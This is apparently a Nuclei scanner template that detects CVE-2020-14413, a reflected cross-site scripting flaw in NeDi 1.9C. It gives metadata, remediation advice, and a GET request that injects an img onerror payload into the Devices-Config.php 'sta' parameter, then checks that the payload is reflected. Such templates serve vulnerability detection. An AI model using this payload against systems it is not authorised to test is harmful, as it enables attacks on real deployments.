48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: CVE-2020-14413
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info:
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name: NeDi 1.9C - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
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remediation: |
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Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
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reference:
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- https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
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- https://nvd.nist.gov/vuln/detail/CVE-2020-14413
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-14413
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cwe-id: CWE-79
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epss-score: 0.00095
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epss-percentile: 0.39589
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cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: nedi
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product: nedi
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tags: cve,cve2020,nedi,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<img src=x onerror=alert(document.domain)>"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100baed51eff23fb5bc40dec34e731cc670fc601b85fa5984c88c9be11f3dcabbc3022100cacfded68d51a9371694278b3d4d2eae05c786e9c9f40b405d26196609f69ac0:922c64590222798bb761d5b6d8e72950 |